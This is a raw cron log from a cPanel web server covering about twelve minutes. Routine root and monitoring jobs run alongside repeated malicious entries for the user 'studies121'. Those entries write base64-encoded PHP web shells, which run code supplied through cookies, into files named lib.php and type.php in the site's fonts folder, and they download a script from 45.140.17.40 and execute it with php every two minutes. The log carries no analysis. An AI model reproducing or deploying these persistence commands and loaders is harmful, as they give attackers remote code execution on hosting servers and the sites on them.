Sep  5 01:43:01 ip-184-168-122-23 CROND[19959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:43:01 ip-184-168-122-23 CROND[19957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:44:01 ip-184-168-122-23 CROND[20055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:44:01 ip-184-168-122-23 CROND[20056]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:44:01 ip-184-168-122-23 CROND[20057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:44:01 ip-184-168-122-23 CROND[20058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:44:01 ip-184-168-122-23 CROND[20059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:45:01 ip-184-168-122-23 CROND[20151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:45:01 ip-184-168-122-23 CROND[20155]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:45:01 ip-184-168-122-23 CROND[20156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:45:01 ip-184-168-122-23 CROND[20154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:45:01 ip-184-168-122-23 CROND[20152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:45:01 ip-184-168-122-23 CROND[20153]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:46:01 ip-184-168-122-23 CROND[20329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:46:01 ip-184-168-122-23 CROND[20331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:46:01 ip-184-168-122-23 CROND[20334]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 01:46:01 ip-184-168-122-23 CROND[20333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:46:01 ip-184-168-122-23 CROND[20335]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 01:46:01 ip-184-168-122-23 CROND[20332]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:46:01 ip-184-168-122-23 CROND[20330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:47:01 ip-184-168-122-23 CROND[20422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:47:01 ip-184-168-122-23 CROND[20423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:47:01 ip-184-168-122-23 CROND[20424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:47:01 ip-184-168-122-23 CROND[20421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:48:01 ip-184-168-122-23 CROND[20579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:48:01 ip-184-168-122-23 CROND[20576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:48:01 ip-184-168-122-23 CROND[20578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:48:01 ip-184-168-122-23 CROND[20577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:48:01 ip-184-168-122-23 CROND[20575]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:49:01 ip-184-168-122-23 CROND[20660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:49:01 ip-184-168-122-23 CROND[20664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:49:01 ip-184-168-122-23 CROND[20661]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  5 01:49:01 ip-184-168-122-23 CROND[20662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:49:01 ip-184-168-122-23 CROND[20663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:50:01 ip-184-168-122-23 CROND[20765]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 01:50:01 ip-184-168-122-23 CROND[20771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:50:01 ip-184-168-122-23 CROND[20773]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 01:50:01 ip-184-168-122-23 CROND[20774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:50:01 ip-184-168-122-23 CROND[20779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:50:01 ip-184-168-122-23 CROND[20780]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:50:01 ip-184-168-122-23 CROND[20777]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:50:01 ip-184-168-122-23 CROND[20781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:50:01 ip-184-168-122-23 CROND[20783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:51:01 ip-184-168-122-23 CROND[20887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:51:01 ip-184-168-122-23 CROND[20888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:51:01 ip-184-168-122-23 CROND[20890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:51:01 ip-184-168-122-23 CROND[20889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:52:01 ip-184-168-122-23 CROND[20973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:52:01 ip-184-168-122-23 CROND[20977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:52:01 ip-184-168-122-23 CROND[20976]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:52:01 ip-184-168-122-23 CROND[20975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:52:01 ip-184-168-122-23 CROND[20978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:53:02 ip-184-168-122-23 CROND[21155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:53:02 ip-184-168-122-23 CROND[21154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:53:02 ip-184-168-122-23 CROND[21156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:53:02 ip-184-168-122-23 CROND[21157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:54:01 ip-184-168-122-23 CROND[21237]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:54:01 ip-184-168-122-23 CROND[21239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:54:01 ip-184-168-122-23 CROND[21242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:54:01 ip-184-168-122-23 CROND[21240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:54:01 ip-184-168-122-23 CROND[21241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:55:01 ip-184-168-122-23 CROND[21324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:55:01 ip-184-168-122-23 CROND[21326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:55:01 ip-184-168-122-23 CROND[21328]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
